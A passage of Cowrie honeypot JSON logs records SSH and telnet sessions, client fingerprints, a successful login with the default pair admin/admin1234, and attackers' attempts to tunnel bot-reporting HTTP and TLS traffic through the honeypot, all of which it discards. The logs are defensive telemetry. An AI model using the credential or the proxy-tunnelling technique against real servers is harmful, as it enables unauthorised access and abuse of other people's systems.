8\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xeatS\\xc5\\xbf\\x902\\x07\\xb2\\xb6\\xd3\\r0\\xb9\\xb150\\xa3\\xb9\\xb8\\xfdg\\xad\\xc7\\xeaj(\\xc4#\\xb4\\xc8k\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:46:59.075299Z","src_ip":"123.27.168.40","session":"c97e50ff11dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":19.49534010887146,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:00.061116Z","src_ip":"37.36.139.63","session":"1e8e9c39400d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:00.116685Z","src_ip":"123.27.168.40","session":"c97e50ff11dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:04.938758Z","session":"0dc7c2e6d866","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:04.971428Z","src_ip":"23.148.145.132","session":"0dc7c2e6d866","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WGZeaEhDRGxkPmQrSzJGKQ%3D%3DJw0oC6t0K30ICT8A8PKokfz%2Fo5tpm2z%2ByImEVPVmPpIALM%2FGrw3mkHDZY03KJgmrvS7BoHlXnFFDizves8CMmDG%2FLXuklOFqnZDVabLtmm9rTdYW5VjKctxEFmXShymPFAmbd6674cqRYLcrHYe0UQoy49urv2i0F%2B3mm9Px9aFeIKAg24zJl1vK60CDZXbphTVEDadnZNyZ%2F9SuckAch09kBSXPiFdFWW5IPWT3HqonwWIuLlO8LuM%2F6h3nebBjuuD6VT8jbJFMuq8nMYYyW8QtwQQ%2BVUEYIEvA0Gze8Il2sacP45XlMhB2mJvyxPUCCpSm99ZrrXnywYWw%2BjQJTP%2FOkZOizKIZz%2BZ0O2Y5v3%2FuuQjP6O%2BTH8ubPy0tXf2g1BA8XJQw4iu3b6TdS23OkQx%2BTf5juNFHtEwXgRL1uHrWk1ndHpEAeVBhVtmFKKtLz%2BMK7aGmdm2BN2IfpjRFg46%2F0DkpWzT7oOqxhjE%2BQ%2Byso5NNw63wbt5WTEcbWXG%2BoWbmWemMkPh4uRIsKnH%2FDRaWjJ%2FNdc72oEu3NmAC9iHftZxrb9Q6Kkzg7uWqFVYKclA5PClwG4dzWX0EVAG956cHL27R3dlHar6ooQQ4QoU8ZxQPWi%2Fhj29thZ7Qi0Gdz%2BxhiLcunq21hEscC6i5HH3nbvzYlxVaWzKg5zkaARMX5hENVd8yPZN1vfdZdMVURuQjAI7%2FlzhrjSpTKaWovaCH7WBnfowDxgSYYTq9ZSBzHdIh2%2BFFjqacgFLOvPwtM5olnXCLZuXiiN2HxKzCvBLqQtdCHRrpidcZYYdLP95q0kHAnX2U%2FiJUqLJxUjg3Cq8W%2FwqN2q77989IT9irG9jhapdc7lFjD%2F83ym3ihr9iZVDmphSwvtUIFRwWXFraqLWqxvDeNXNvAHE3jwlURNw7%2FNGsN3qgVFHMajwRnhcNZfA2ldhTFUsFdN0FFcJ0%2Fpp4DlO3PEcP3VZ3QozKnhJR9V2kgl52lvbMeTuiLuluGChYYSJwD3qV7VQn9x7ejtxxdVPQ7hwHD2eABAUOZ7CGFoF0s4Zp2WR6%2BfnMNIORM1FTs1pELY7trJGqVuB7'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=WGZeaEhDRGxkPmQrSzJGKQ%3D%3DJw0oC6t0K30ICT8A8PKokfz%2Fo5tpm2z%2ByImEVPVmPpIALM%2FGrw3mkHDZY03KJgmrvS7BoHlXnFFDizves8CMmDG%2FLXuklOFqnZDVabLtmm9rTdYW5VjKctxEFmXShymPFAmbd6674cqRYLcrHYe0UQoy49urv2i0F%2B3mm9Px9aFeIKAg24zJl1vK60CDZXbphTVEDadnZNyZ%2F9SuckAch09kBSXPiFdFWW5IPWT3HqonwWIuLlO8LuM%2F6h3nebBjuuD6VT8jbJFMuq8nMYYyW8QtwQQ%2BVUEYIEvA0Gze8Il2sacP45XlMhB2mJvyxPUCCpSm99ZrrXnywYWw%2BjQJTP%2FOkZOizKIZz%2BZ0O2Y5v3%2FuuQjP6O%2BTH8ubPy0tXf2g1BA8XJQw4iu3b6TdS23OkQx%2BTf5juNFHtEwXgRL1uHrWk1ndHpEAeVBhVtmFKKtLz%2BMK7aGmdm2BN2IfpjRFg46%2F0DkpWzT7oOqxhjE%2BQ%2Byso5NNw63wbt5WTEcbWXG%2BoWbmWemMkPh4uRIsKnH%2FDRaWjJ%2FNdc72oEu3NmAC9iHftZxrb9Q6Kkzg7uWqFVYKclA5PClwG4dzWX0EVAG956cHL27R3dlHar6ooQQ4QoU8ZxQPWi%2Fhj29thZ7Qi0Gdz%2BxhiLcunq21hEscC6i5HH3nbvzYlxVaWzKg5zkaARMX5hENVd8yPZN1vfdZdMVURuQjAI7%2FlzhrjSpTKaWovaCH7WBnfowDxgSYYTq9ZSBzHdIh2%2BFFjqacgFLOvPwtM5olnXCLZuXiiN2HxKzCvBLqQtdCHRrpidcZYYdLP95q0kHAnX2U%2FiJUqLJxUjg3Cq8W%2FwqN2q77989IT9irG9jhapdc7lFjD%2F83ym3ihr9iZVDmphSwvtUIFRwWXFraqLWqxvDeNXNvAHE3jwlURNw7%2FNGsN3qgVFHMajwRnhcNZfA2ldhTFUsFdN0FFcJ0%2Fpp4DlO3PEcP3VZ3QozKnhJR9V2kgl52lvbMeTuiLuluGChYYSJwD3qV7VQn9x7ejtxxdVPQ7hwHD2eABAUOZ7CGFoF0s4Zp2WR6%2BfnMNIORM1FTs1pELY7trJGqVuB7'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:04.974892Z","src_ip":"23.148.145.132","session":"0dc7c2e6d866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":52924,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b9fc604f55d","protocol":"ssh","message":"New connection: 113.164.152.20:52924 (10.17.0.5:22) [session: 4b9fc604f55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:07.551768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:07.559397Z","src_ip":"113.164.152.20","session":"4b9fc604f55d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:07.843379Z","src_ip":"113.164.152.20","session":"4b9fc604f55d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:09.031144Z","src_ip":"113.164.152.20","session":"4b9fc604f55d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:09.442547Z","session":"4b9fc604f55d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:09.551404Z","session":"4b9fc604f55d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:10.374036Z","session":"0dc7c2e6d866","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:10.418453Z","src_ip":"23.148.145.132","session":"0dc7c2e6d866","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03c\\x17\\xb3\\xf8y\\xab\\xd5:\\xa9m\\xd5l)\\xd9\\x17\\\\\\x84\\x13zn_\\x05\\x9a\\xec\\x0e\\x80\\xd3\\x82d\\x92?d \\x02\\xce\\xf6<\\xb0\\x9d\\xb5\\xbf\\x18\\x05c\\x8d\\xb5g\\x7f\\xe7\\xd4\\x94\\x94\\xe5Sx5H\\xbfBDE\\x86v_\\x89\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd0\\x1b+V\\x01\\x19\\xe1\\xcdS\\xe5\\xe5\\x8d\\x92=\\xdf\\x13\\x04\\xf8f\\x83%N\\x91\\x01U\\x11\\xa2\\xde\\x1f\\xb7\\x19\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03c\\x17\\xb3\\xf8y\\xab\\xd5:\\xa9m\\xd5l)\\xd9\\x17\\\\\\x84\\x13zn_\\x05\\x9a\\xec\\x0e\\x80\\xd3\\x82d\\x92?d \\x02\\xce\\xf6<\\xb0\\x9d\\xb5\\xbf\\x18\\x05c\\x8d\\xb5g\\x7f\\xe7\\xd4\\x94\\x94\\xe5Sx5H\\xbfBDE\\x86v_\\x89\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd0\\x1b+V\\x01\\x19\\xe1\\xcdS\\xe5\\xe5\\x8d\\x92=\\xdf\\x13\\x04\\xf8f\\x83%N\\x91\\x01U\\x11\\xa2\\xde\\x1f\\xb7\\x19\\x11\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:10.421824Z","src_ip":"23.148.145.132","session":"0dc7c2e6d866","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:10.470521Z","session":"0dc7c2e6d866","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:47:10.636898Z","src_ip":"23.148.145.132","session":"0dc7c2e6d866","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9\\x06\\xa6.%\\x87\\xf6\\xa4bq\\x18\\xc3\\xcc \\x10H\\xc7\\xb6\\xb7\\t\\xbe\\xd2\\xf4\\x0f\\x93\\xddE)\\xaet\\x18\\xc7 \\x9d(\\x11\\x85O\\nt\\xff\\xe4RS\\x0cb\\x819k\\xc2\\x97\\x98\\xae\\x10\\xc9\\\\.O\\xcd\\xdc\\x84&\\xae\\xd0\\xb9\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcd+j#\\x9a\\xea$\\x13.\\xbdT\\x88\\xae\\xce\\xfe\\xca\\xf0\\x07\\xaeH\\x10\\xc2\\xca\\xa9\\xb3i\\xf6\\xcb<\\x9c\\x0bD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9\\x06\\xa6.%\\x87\\xf6\\xa4bq\\x18\\xc3\\xcc \\x10H\\xc7\\xb6\\xb7\\t\\xbe\\xd2\\xf4\\x0f\\x93\\xddE)\\xaet\\x18\\xc7 \\x9d(\\x11\\x85O\\nt\\xff\\xe4RS\\x0cb\\x819k\\xc2\\x97\\x98\\xae\\x10\\xc9\\\\.O\\xcd\\xdc\\x84&\\xae\\xd0\\xb9\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 